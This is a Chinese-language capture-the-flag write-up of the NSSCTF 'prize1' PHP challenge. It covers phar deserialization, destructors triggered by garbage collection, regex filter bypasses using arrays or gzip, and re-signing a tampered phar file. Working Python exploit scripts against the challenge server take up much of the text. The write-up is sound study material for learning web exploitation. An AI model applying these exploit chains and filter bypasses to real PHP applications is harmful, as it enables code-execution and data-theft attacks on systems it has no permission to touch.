NSSCTF-prize1 学习记录

膜拜大佬^ ^ Xenny,prize1一来就是重量级,涉及知识点很多,花了几个小时,真的学到了很多很多,细思极恐,简直细到极致,真不错。这里简单记录一下,后面还有prize2-5,慢慢感悟吧。

涉及知识点:php代码审计、phar反序列化、GC机制、preg_match绕过、phar files format

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct({
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct({
        if ($this->config == 'w') {
            $data $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i'$data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt"$data);
        } else if ($this->config == 'r') {
            $data $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i'$data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i'$_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

主要为两个类,A和getflag,A类用来写文件和读文件,也就是file_put_contents和file_get_contents,联系到后面的unseralize可以想到这里一个考点是写入一个phar文件,触发getflag的destruct,再利用file_get_contents读出内容,getflag类显然是用来读取我们的flag,也就是触发类中的__destruct析构函数。那么要如何触发两个类中的destruct析构函数呢?

析构函数本身是php的自定义魔法函数,当对象被销毁时自动调用,在下面几种情况下destruct会被自动调用:

  • 生命周期结束,即程序执行完
  • 主动设置为null
  • 主动unset

还有一种情况是gc垃圾回收机制,在php中,当创建的对象变量未被引用时,就会在最后被捕获回收。GC垃圾回收机制是面向对象编程的一个概念,在php,java中都存在,主要是为了消除程序在这个过程中产生的‘垃圾’,能够销毁内存空间,防止内存溢出。

new A() $a=new A(); $a=new A() 都是属于变量未被引用,导致gc回收。

例如:

1
2
3
4
5
6
7
8
9
<?php
class A{
function __destruct()
{
echo "__destruct";
}
}
new A();
echo " lemono";

输出: __destruct lemono

声明的对象未被引用,则会被gc机制回收,所以在输出lemono之前就被回收了,而不是输出在lemono之后。

同样,这样一段代码:

1
2
3
4
5
6
7
class obj {
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new obj('1');
$a = new obj('2');$a = new obj('3');
echo "————————————\n";

他的输出应该是:

1
2
3
4
1Destroy...
2Destroy...
————————————
3Destroy...

如果看懂的话就应该知道为什么这里应该是这样输出了。

这道题的另一个关键点是代码中的最后一句话,throw new Error("那么就从这里开始起航吧"); 异常处理机制,当程序遇到异常时,就会中断整个程序的执行,也就不会执行我们上面的destruct函数,所以这里需要想办法绕过异常处理。

第一步:

先尝试写入phar文件,传入O:1:"A":1:{s:6:"config";s:1:"w";},因为反序列化语句是 unserialize($_GET[0]); 反序列化后的对象是处于unset状态的,未被引用,这也直接导致会执行destruct。

本地生成一个phar文件:

1
2
3
4
5
6
7
8
9
10
11
<?php     
class getflag {
}
$phar = new Phar("le.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new getflag();
$phar->setMetadata(array(0=>$o,1=>null)); //将自定义的meta-data存入manifest,这里传入数组
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
?>

在源码中,会对写入的data数据过滤,preg_match过滤了很多关键字,而反观我们生成的phar文件数据中,是存在getflag字样的,所以需要想办法绕过他。

这里大致有两种方法:

  • 数组绕过:因为preg_match 是不支持处理数组的,当遇到数组时直接返回false,而file_put_contents又支持数组,这里就成功绕过并且写入了文件;
  • 压缩文件绕过:原理参考guoke师傅的文章分析:https://guokeya.github.io/post/uxwHLckwx/ ,结论就是通过gzip、bzip2、tar、zip压缩我们的phar文件后,通过phar协议同样能够读取并解析,且里面的数据区域不再是存在明文字样而是乱码,这也使我们巧妙的绕过检测。

第二步:

到了这一步,又有一个问题:写入的phar文件要如何执行destruct析构函数读取flag呢?

这就要用到刚才讲的GC机制了。在phar文件中,把序列化后的字符串拿出来a:2:{i:0;O:7:"getflag":0:{}i:1;N;} ,是数组的形式,因为刚才在序列化时,setMetadata设置为array,也是为后面做准备。这里想要getflag对象执行destruct函数,就需要用到讲到的方法,unset该对象,当该对象未被调用时就会被GC回收,所以就需要手动改成 a:2:{i:0;O:7:"getflag":0:{}i:0;N;} ,重复将a[0]覆盖为null,就成功了。

第三步:

虽然刚才通过更改phar文件的内容,使其能够触发析构函数,但是执行这个动作的同时也带来了新的问题,phar文件是有签名的,phar文件与其他文件类似,会对文件的内容进行signature签名,保证文件内数据未被更改和损坏,具体可看php文档:

其中说到会有20byte的SHA1 signature,所以我们更改数据后肯定是对不上的,因此还有一步是重新计算签名算法。

python脚本:

1
2
3
4
5
6
7
8
9
10
from hashlib import sha1
with open('le.phar','rb') as f:
text=f.read()
body=text[:-28] #获取前28字节
sign2=text[-8:] #最后8字节不变,变的是那20字节sha1签名
sign1=sha1(body).digest()
phar=body+sign1+sign2 #重构phar文件
with open('le1.phar','wb') as f1:
f1.write(phar)
print("OK!")

走到这里就差最后一步了,绕过preg_match检测,一共两个方法:

数组绕过:

给出最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re

url="http://1.14.71.254:28393/"
### 写入phar文件
with open("le1.phar",'rb') as f: #le1.phar是更改值和signature后的phar
data1={'0[]':f.read()} #注意这里要传数组,来绕过waf
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'} #get 写入文件
p1 = requests.post(url=url, params=param1,data=data1)
#print(p1.text)

### 读phar文件,触发反序列化
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

压缩文件绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
import requests
import gzip

url="http://1.14.71.254:28393/"
#将phar文件使用zip压缩
with open('le1.phar','rb') as f:
zip=gzip.open('phar.zip','wb')
zip.writelines(f)
zip.close()
#写入zip压缩后的phar
zip1=open('phar.zip','rb')
param1={0:'O:1:"A":1:{s:6:"config";s:1:"w";}'}
data1={0:zip1.read()}
requests.post(url=url,params=param1,data=data1)
#读取phar文件,触发反序列化
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res=requests.post(url=url,params=param2,data=data2)
flag=re.compile("NSSCTF\{.*?\}").findall(res.text)
print(flag)

刚开始跟着wp做的时候,感觉很难,属于是边学边看,现在写到这里后发现这道题其实也没那么难了,但是里面的知识点还是值得继续深入。